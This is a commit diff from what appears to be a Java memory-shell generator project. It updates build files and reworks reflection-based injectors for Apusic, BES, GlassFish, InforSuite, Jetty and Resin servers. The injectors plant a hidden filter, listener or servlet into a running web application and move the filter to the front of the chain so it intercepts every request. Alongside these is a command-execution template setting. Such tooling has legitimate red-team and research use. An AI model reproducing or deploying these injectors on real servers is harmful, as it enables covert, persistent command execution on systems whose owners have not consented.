chore: 2.4.2

This reverts commit 25e4086241.

.github/workflows/dev-deploy.yaml

@@ -12,7 +12,10 @@ on:
 jobs:
   build-jar:
     name: Build Jar
-    runs-on: ubuntu-latest
+    strategy:
+      matrix:
+        os: [ubuntu-latest, windows-latest]
+    runs-on: ${{ matrix.os }}
     steps:
       - uses: actions/checkout@v4
 
@@ -39,10 +42,16 @@ jobs:
         working-directory: web
         run: bun install --frozen-lockfile && bun run build
 
-      - name: Build Boot with Gradle
+      - name: Build Boot with Gradle (Linux)
+        if: matrix.os == 'ubuntu-latest'
         run: ./gradlew :boot:test :boot:bootjar
 
-      - name: Upload Boot Jar
+      - name: Build Boot with Gradle (Windows)
+        if: matrix.os == 'windows-latest'
+        run: ./gradlew.bat :boot:test :boot:bootjar
+
+      - name: Upload Boot Jar (Linux)
+        if: matrix.os == 'ubuntu-latest'
         uses: actions/upload-artifact@v4
         with:
           name: boot

.gitmodules

@@ -0,0 +1,3 @@
+[submodule "libs"]
+	path = libs
+	url = https://github.com/ReaJason/javaweb-sources.git

asserts/neoreg/Dockerfile

@@ -2,7 +2,7 @@ FROM python:3.12-slim
 
 WORKDIR /app
 
-RUN pip install requests
+RUN pip install requests -i https://pypi.tuna.tsinghua.edu.cn/simple/
 
 COPY neoreg.py .
 

boot/build.gradle.kts

@@ -1,6 +1,6 @@
 plugins {
     id("java")
-    id("org.springframework.boot") version "3.5.7"
+    id("org.springframework.boot") version "3.5.8"
     id("io.spring.dependency-management") version "1.1.7"
 }
 
@@ -21,6 +21,8 @@ configurations {
     }
 }
 
+extra["byte-buddy.version"] = libs.versions.byte.buddy.get()
+
 dependencies {
     implementation(project(":generator")) {
         exclude(group = "commons-logging", module = "commons-logging")

boot/src/main/java/com/reajason/javaweb/boot/controller/ViewController.java

@@ -2,9 +2,10 @@ package com.reajason.javaweb.boot.controller;
 
 import jakarta.servlet.http.HttpServletRequest;
 import jakarta.servlet.http.HttpServletResponse;
+import lombok.SneakyThrows;
 import lombok.extern.slf4j.Slf4j;
 import org.springframework.core.io.ClassPathResource;
-import org.springframework.http.MediaType;
+import org.springframework.http.ResponseEntity;
 import org.springframework.stereotype.Controller;
 import org.springframework.util.FileCopyUtils;
 import org.springframework.web.bind.annotation.GetMapping;
@@ -34,23 +35,18 @@ public class ViewController {
         return renderFileData(relativePath, response);
     }
 
-    @GetMapping({"/ui/docs/*.data", "/ui/*.data"})
-    @ResponseBody
-    public String handleDataFile(HttpServletRequest request, HttpServletResponse response) throws IOException {
-        String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
-        String relativePath = fullPath.substring(4);
-        return renderFileData(relativePath, response);
-    }
-
-
     @GetMapping("/ui/**")
-    public String handleHtmlView(HttpServletRequest request) {
+    @SneakyThrows
+    public Object handleView(HttpServletRequest request, HttpServletResponse response) {
         String fullPath = request.getRequestURI().replace(request.getContextPath(), "");
         if ("/ui".equals(fullPath) || "/ui/".equals(fullPath)) {
             return "index";
         }
-        String viewPath = fullPath.substring(4);
+        String docPath = fullPath.substring(4);
-        return viewPath + "/index";
+        if (docPath.endsWith(".data")) {
+            return ResponseEntity.ok(renderFileData(docPath, response));
+        }
+        return docPath + "/index";
     }
 
     private String renderFileData(String relativePath, HttpServletResponse response) {
@@ -61,8 +57,6 @@ public class ViewController {
                 response.setStatus(HttpServletResponse.SC_NOT_FOUND);
                 return "File not found: " + relativePath;
             }
-            response.setContentType(MediaType.TEXT_PLAIN_VALUE);
-            response.setCharacterEncoding("UTF-8");
             InputStreamReader reader = new InputStreamReader(
                     resource.getInputStream(),
                     StandardCharsets.UTF_8

build-logic/build.gradle.kts

@@ -7,5 +7,5 @@ repositories {
 }
 
 dependencies {
-    implementation("com.vanniktech:gradle-maven-publish-plugin:0.34.0")
+    implementation("com.vanniktech:gradle-maven-publish-plugin:0.35.0")
 }

build-logic/src/main/kotlin/maven-publish-convention.gradle.kts

@@ -3,7 +3,7 @@ plugins {
 }
 
 mavenPublishing {
-    publishToMavenCentral(true)
+    publishToMavenCentral()
     signAllPublications()
     coordinates(
         "io.github.reajason",

build.gradle.kts

@@ -9,7 +9,7 @@ idea {
     }
 }
 
-version = "2.4.0"
+version = "2.4.2"
 
 tasks.register("publishAllToMavenCentral") {
     dependsOn(":memshell-party-common:publishToMavenCentral")

generator/build.gradle.kts

@@ -1,5 +1,5 @@
 plugins {
-    id("java")
+    id("java-library")
     alias(libs.plugins.lombok)
     id("maven-publish-convention")
 }
@@ -29,17 +29,16 @@ tasks.test {
 dependencies {
     implementation(project(":memshell-party-common"))
     implementation(project(":packer"))
-    implementation(libs.byte.buddy)
+    api(libs.byte.buddy)
     implementation(libs.asm.commons)
     implementation(libs.javax.websocket.api)
     implementation(libs.javax.servlet.api)
     implementation(libs.spring.webmvc)
     implementation(libs.spring.webflux)
     implementation(libs.reactor.netty.core)
-
+    implementation(libs.jackson.annotations)
     implementation(libs.bundles.jna)
-    implementation(libs.bcel)
+
-    implementation(libs.jackson.databind)
     testImplementation(libs.junit.jupiter)
     testImplementation(libs.hamcrest)
     testRuntimeOnly(libs.junit.platform.launcher)

generator/src/main/java/com/reajason/javaweb/memshell/config/CommandConfig.java

@@ -35,7 +35,7 @@ public class CommandConfig extends ShellToolConfig {
     private ImplementationClass implementationClass = ImplementationClass.RuntimeExec;
 
     /**
-     * 命令执行模板，例如 sh -c "{command}" 2>&1，使用 {command} 作为占位符
+     * 命令执行模板，使用 {command} 作为占位符
      */
     private String template;
 

generator/src/main/java/com/reajason/javaweb/memshell/generator/ProcessorRegistry.java

@@ -22,8 +22,8 @@ public final class ProcessorRegistry {
     );
 
     private static final List<Processor<byte[]>> BYTE_PROCESSORS = Arrays.asList(
-            new ShrinkPostProcessor(),
+            new JettyHandlerPostProcessor(),
-            new JettyHandlerPostProcessor()
+            new ShrinkPostProcessor()
     );
 
     private ProcessorRegistry() {

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicFilterInjector.java

@@ -8,6 +8,7 @@ import java.lang.reflect.Array;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.HashSet;
+import java.util.LinkedHashSet;
 import java.util.Map;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
@@ -43,7 +44,7 @@ public class ApusicFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -80,7 +81,7 @@ public class ApusicFilterInjector {
 
     /**
      * context: com.apusic.web.container.WebContainer
-     * context -> webapp: com.apusic.deploy.runtime.WebModule
+     * context - webapp: com.apusic.deploy.runtime.WebModule
      * /usr/local/ass/lib/apusic.jar
      */
     public Set<Object> getContext() throws Exception {
@@ -145,7 +146,12 @@ public class ApusicFilterInjector {
         Object filterMapping = filterMappingClass.newInstance();
         invokeMethod(filterMapping, "setUrlPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(webModule, "addBeforeFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMapping});
+        LinkedHashSet beforeFilterMappings = (LinkedHashSet) getFieldValue(webModule, "beforeFilterMappings");
+        LinkedHashSet newSet = new LinkedHashSet();
+        newSet.add(filterMapping);
+        newSet.addAll(beforeFilterMappings);
+        beforeFilterMappings.clear();
+        beforeFilterMappings.addAll(newSet);
 
         // addFilterModel
         invokeMethod(webModule, "addFilter", new Class[]{String.class, String.class}, new Object[]{getClassName(), getClassName()});
@@ -218,8 +224,7 @@ public class ApusicFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -236,12 +241,8 @@ public class ApusicFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicListenerInjector.java

@@ -40,7 +40,7 @@ public class ApusicListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -197,8 +197,7 @@ public class ApusicListenerInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -215,12 +214,8 @@ public class ApusicListenerInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/apusic/ApusicServletInjector.java

@@ -40,7 +40,7 @@ public class ApusicServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -198,8 +198,7 @@ public class ApusicServletInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -216,12 +215,8 @@ public class ApusicServletInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesFilterInjector.java

@@ -40,7 +40,7 @@ public class BesFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -105,7 +105,7 @@ public class BesFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -218,8 +218,7 @@ public class BesFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -236,12 +235,8 @@ public class BesFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesListenerInjector.java

@@ -36,7 +36,7 @@ public class BesListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/bes/BesValveInjector.java

@@ -35,7 +35,7 @@ public class BesValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishFilterInjector.java

@@ -7,7 +7,10 @@ import java.io.PrintStream;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
-import java.util.*;
+import java.util.HashSet;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -40,7 +43,7 @@ public class GlassFishFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -126,15 +129,18 @@ public class GlassFishFilterInjector {
         }
         Object filterDef;
         Object filterMap;
+        Class<?> filterMapClass;
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         try {
             // tomcat v8+
             filterDef = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.tomcat.util.descriptor.web.FilterMap");
+            filterMap = filterMapClass.newInstance();
         } catch (Exception e2) {
             // tomcat v5+
             filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-            filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+            filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+            filterMap = filterMapClass.newInstance();
         }
 
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
@@ -145,19 +151,16 @@ public class GlassFishFilterInjector {
         }
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
-        Constructor<?>[] constructors;
         try {
             invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         } catch (Exception e) {
             // tomcat v5
             invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
         }
-        try {
+
-            // v7.0.0 以上
+        // addFilterMapFirst
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+        List filterMaps = (List) invokeMethod(context, "findFilterMaps", null, null);
-        } catch (Exception e) {
+        filterMaps.add(0, filterMap);
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
-        }
 
         Constructor filterConfigConstructor;
         filterConfigConstructor = contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0];
@@ -228,21 +231,39 @@ public class GlassFishFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String name) throws Exception {
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Class<?> clazz = obj.getClass();
+        for (Class<?> clazz = obj.getClass();
-        while (clazz != Object.class) {
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
             try {
-                Field field = clazz.getDeclaredField(name);
+                return clazz.getDeclaredField(name);
-                field.setAccessible(true);
+            } catch (NoSuchFieldException ignored) {
-                return field.get(obj);
+
-            } catch (NoSuchFieldException var5) {
-                clazz = clazz.getSuperclass();
             }
         }
         throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
     }
 
 
+    @SuppressWarnings("all")
+    public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+        try {
+            Field field = getField(obj, name);
+            field.setAccessible(true);
+            return field.get(obj);
+        } catch (NoSuchFieldException ignored) {
+        }
+        return null;
+    }
+
+
+    public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
+        Field field = getField(obj, fieldName);
+        field.setAccessible(true);
+        field.set(obj, value);
+    }
+
+
     @SuppressWarnings("all")
     private String getErrorMessage(Throwable throwable) {
         PrintStream printStream = null;

generator/src/main/java/com/reajason/javaweb/memshell/injector/glassfish/GlassFishValveInjector.java

@@ -36,7 +36,7 @@ public class GlassFishValveInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/inforsuite/InforSuiteFilterInjector.java

@@ -4,11 +4,11 @@ import java.io.ByteArrayInputStream;
 import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
+import java.lang.reflect.Array;
 import java.lang.reflect.Constructor;
 import java.lang.reflect.Field;
 import java.lang.reflect.Method;
 import java.util.*;
-import java.util.logging.Logger;
 import java.util.zip.GZIPInputStream;
 
 /**
@@ -41,7 +41,7 @@ public class InforSuiteFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -95,7 +95,7 @@ public class InforSuiteFilterInjector {
         return contexts;
     }
 
-    private ClassLoader getWebAppClassLoader(Object context) {
+    private ClassLoader getWebAppClassLoader(Object context) throws Exception {
         try {
             return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
         } catch (Exception e) {
@@ -128,17 +128,28 @@ public class InforSuiteFilterInjector {
         }
         ClassLoader contextClassLoader = context.getClass().getClassLoader();
         Object filterDef = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterDef").newInstance();
-        Object filterMap = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap").newInstance();
+        Class<?> filterMapClass = contextClassLoader.loadClass("org.apache.catalina.deploy.FilterMap");
+        Object filterMap = filterMapClass.newInstance();
         invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
         invokeMethod(filterDef, "setFilterClass", new Class[]{Class.class}, new Object[]{filter.getClass()});
         invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef});
         invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterName});
         invokeMethod(filterMap, "setURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()});
 
+        // addFilterMapFirst
         try {
-            invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            Object filterMaps = getFieldValue(context, "filterMaps");
+            if (filterMaps instanceof List) {
+                // InforSuite9
+                ((List<Object>) filterMaps).add(0, filterMap);
+            }
         } catch (Exception e) {
-            invokeMethod(context, "addFilterMap", new Class[]{filterMap.getClass()}, new Object[]{filterMap});
+            // InforSuite10
+            Object[] iasFilterMaps = (Object[]) getFieldValue(getFieldValue(context, "iasFilterMaps"), "array");
+            Object[] results = (Object[]) Array.newInstance(filterMapClass, iasFilterMaps.length + 1);
+            results[0] = filterMap;
+            System.arraycopy(iasFilterMaps, 0, results, 1, iasFilterMaps.length);
+            setFieldValue(getFieldValue(context, "iasFilterMaps"), "array", results);
         }
 
         Constructor<?>[] constructors =contextClassLoader.loadClass("org.apache.catalina.core.ApplicationFilterConfig").getDeclaredConstructors();
@@ -192,30 +203,36 @@ public class InforSuiteFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object getFieldValue(Object obj, String fieldName) throws Exception {
+    public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
-        Field field = getField(obj, fieldName);
+        for (Class<?> clazz = obj.getClass();
+             clazz != Object.class;
+             clazz = clazz.getSuperclass()) {
+            try {
+                return clazz.getDeclaredField(name);
+            } catch (NoSuchFieldException ignored) {
+
+            }
+        }
+        throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
+    }
+
+
+@SuppressWarnings("all")
+public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException {
+    Field field = getField(obj, name);
         field.setAccessible(true);
         return field.get(obj);
     }
 
-    @SuppressWarnings("all")
+
-    public static Field getField(Object obj, String fieldName) throws NoSuchFieldException {
+public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
-        Class<?> clazz = obj.getClass();
+    Field field = getField(obj, fieldName);
-        while (clazz != null) {
-            try {
-                Field field = clazz.getDeclaredField(fieldName);
     field.setAccessible(true);
-                return field;
+    field.set(obj, value);
-            } catch (NoSuchFieldException e) {
-                clazz = clazz.getSuperclass();
-            }
-        }
-        throw new NoSuchFieldException(fieldName);
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -232,12 +249,8 @@ public class InforSuiteFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java

@@ -5,9 +5,7 @@ import java.io.ByteArrayOutputStream;
 import java.io.IOException;
 import java.io.PrintStream;
 import java.lang.reflect.*;
-import java.util.ArrayList;
 import java.util.HashSet;
-import java.util.List;
 import java.util.Set;
 import java.util.zip.GZIPInputStream;
 
@@ -44,7 +42,7 @@ public class JettyFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -86,70 +84,55 @@ public class JettyFilterInjector {
             return;
         }
 
-        String[] classNames = new String[]{
+        String[][] filterHolderClassNames = new String[][]{
-                "org.eclipse.jetty.servlet.FilterHolder",
+                new String[]{"org.eclipse.jetty.servlet.FilterHolder", "org.eclipse.jetty.servlet.FilterMapping"},
-                "org.eclipse.jetty.ee8.servlet.FilterHolder",
+                new String[]{"org.mortbay.jetty.servlet.FilterHolder", "org.mortbay.jetty.servlet.FilterMapping"},
-                "org.eclipse.jetty.ee9.servlet.FilterHolder",
+                new String[]{"org.eclipse.jetty.ee8.servlet.FilterHolder", "org.eclipse.jetty.ee8.servlet.FilterMapping"},
-                "org.eclipse.jetty.ee10.servlet.FilterHolder",
+                new String[]{"org.eclipse.jetty.ee9.servlet.FilterHolder", "org.eclipse.jetty.ee9.servlet.FilterMapping"},
-                "org.eclipse.jetty.ee11.servlet.FilterHolder",
+                new String[]{"org.eclipse.jetty.ee10.servlet.FilterHolder", "org.eclipse.jetty.ee10.servlet.FilterMapping"},
-                "org.mortbay.jetty.servlet.FilterHolder",
+                new String[]{"org.eclipse.jetty.ee11.servlet.FilterHolder", "org.eclipse.jetty.ee11.servlet.FilterMapping"},
         };
 
         Class<?> filterHolderClass = null;
+        Class<?> filterMappingClass = null;
 
-        for (String className : classNames) {
+        for (String[] classNames : filterHolderClassNames) {
             try {
-                filterHolderClass = context.getClass().getClassLoader().loadClass(className);
+                filterHolderClass = context.getClass().getClassLoader().loadClass(classNames[0]);
+                filterMappingClass = context.getClass().getClassLoader().loadClass(classNames[1]);
             } catch (ClassNotFoundException ignored) {
             }
         }
 
-        if (filterHolderClass == null) {
+        if (filterHolderClass == null || filterMappingClass == null) {
-            throw new ClassNotFoundException("FilterHodler");
+            throw new ClassNotFoundException("FilterHodler or FilterMapping not found");
         }
 
         Constructor<?> constructor = filterHolderClass.getConstructor(Class.class);
         Object filterHolder = constructor.newInstance(filter.getClass());
         invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{getClassName()});
-        invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
+
-        moveFilterToFirst(servletHandler);
+        invokeMethod(servletHandler, "addFilter", new Class[]{filterHolderClass}, new Object[]{filterHolder});
+
+        Object filterMapping = filterMappingClass.getConstructor().newInstance();
+        invokeMethod(filterMapping, "setFilterName", new Class[]{String.class}, new Object[]{getClassName()});
+        invokeMethod(filterMapping, "setPathSpec", new Class[]{String.class}, new Object[]{getUrlPattern()});
+        invokeMethod(filterMapping, "setDispatches", new Class[]{int.class}, new Object[]{1});
+
+        Object[] mappings = (Object[]) invokeMethod(servletHandler, "getFilterMappings");
+        Object[] newMappings = null;
+        int length = Array.getLength(mappings);
+        if (mappings == null || length == 0) {
+            newMappings = (Object[]) Array.newInstance(filterMappingClass, 1);
+        } else {
+            newMappings = (Object[]) Array.newInstance(filterMappingClass, length + 1);
+            System.arraycopy(mappings, 0, newMappings, 1, length);
+        }
+        newMappings[0] = filterMapping;
+        invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
         invokeMethod(servletHandler, "invalidateChainsCache");
     }
 
-    private void moveFilterToFirst(Object servletHandler) throws Exception {
-        Object filterMaps = getFieldValue(servletHandler, "_filterMappings");
-        ArrayList<Object> reorderedFilters = new ArrayList<Object>();
-        int filterLength;
-
-        if (filterMaps.getClass().isArray()) {
-            filterLength = Array.getLength(filterMaps);
-            for (int i = 0; i < filterLength; i++) {
-                Object filter = Array.get(filterMaps, i);
-                String filterName = (String) getFieldValue(filter, "_filterName");
-                if (filterName.equals(getClassName())) {
-                    reorderedFilters.add(0, filter);
-                } else {
-                    reorderedFilters.add(filter);
-                }
-            }
-            for (int i = 0; i < filterLength; i++) {
-                Array.set(filterMaps, i, reorderedFilters.get(i));
-            }
-        } else if (filterMaps instanceof ArrayList) {
-            ArrayList<Object> filterList = (ArrayList<Object>) filterMaps;
-            for (Object filter : filterList) {
-                String filterName = (String) getFieldValue(filter, "_filterName");
-                if (filterName.equals(getClassName())) {
-                    reorderedFilters.add(0, filter);
-                } else {
-                    reorderedFilters.add(filter);
-                }
-            }
-            filterList.clear();
-            filterList.addAll(reorderedFilters);
-        }
-    }
-
     @Override
     public String toString() {
         return msg;

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java

@@ -29,7 +29,7 @@ public class JettyListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java

@@ -42,7 +42,7 @@ public class JettyServletInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinFilterInjector.java

@@ -39,7 +39,7 @@ public class ResinFilterInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -136,6 +136,11 @@ public class ResinFilterInjector {
         invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
         invokeMethod(urlPattern, "init", null, null);
         invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
+
+        List filterMappings = (List) getFieldValue(getFieldValue(context, "_filterMapper"), "_filterMap");
+        filterMappings.remove(filterMappingImpl);
+        filterMappings.add(0, filterMappingImpl);
+
         invokeMethod(context, "clearCache", null, null);
     }
 
@@ -193,8 +198,7 @@ public class ResinFilterInjector {
     }
 
     @SuppressWarnings("all")
-    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) {
+    public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws Exception {
-        try {
         Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
         Method method = null;
         while (clazz != null && method == null) {
@@ -211,12 +215,8 @@ public class ResinFilterInjector {
         if (method == null) {
             throw new NoSuchMethodException("Method not found: " + methodName);
         }
-
         method.setAccessible(true);
         return method.invoke(obj instanceof Class ? null : obj, param);
-        } catch (Exception e) {
-            throw new RuntimeException("Error invoking method: " + methodName, e);
-        }
     }
 
     @SuppressWarnings("all")

generator/src/main/java/com/reajason/javaweb/memshell/injector/resin/ResinListenerInjector.java

@@ -38,7 +38,7 @@ public class ResinListenerInjector {
         } catch (Throwable throwable) {
             msg += "context error: " + getErrorMessage(throwable);
         }
-        if (contexts == null) {
+        if (contexts == null || contexts.isEmpty()) {
             msg += "context not found";
         } else {
             for (Object context : contexts) {
@@ -182,8 +182,7 @@ public class ResinListenerInjector {
     }
 
     @SuppressWarnings("all")
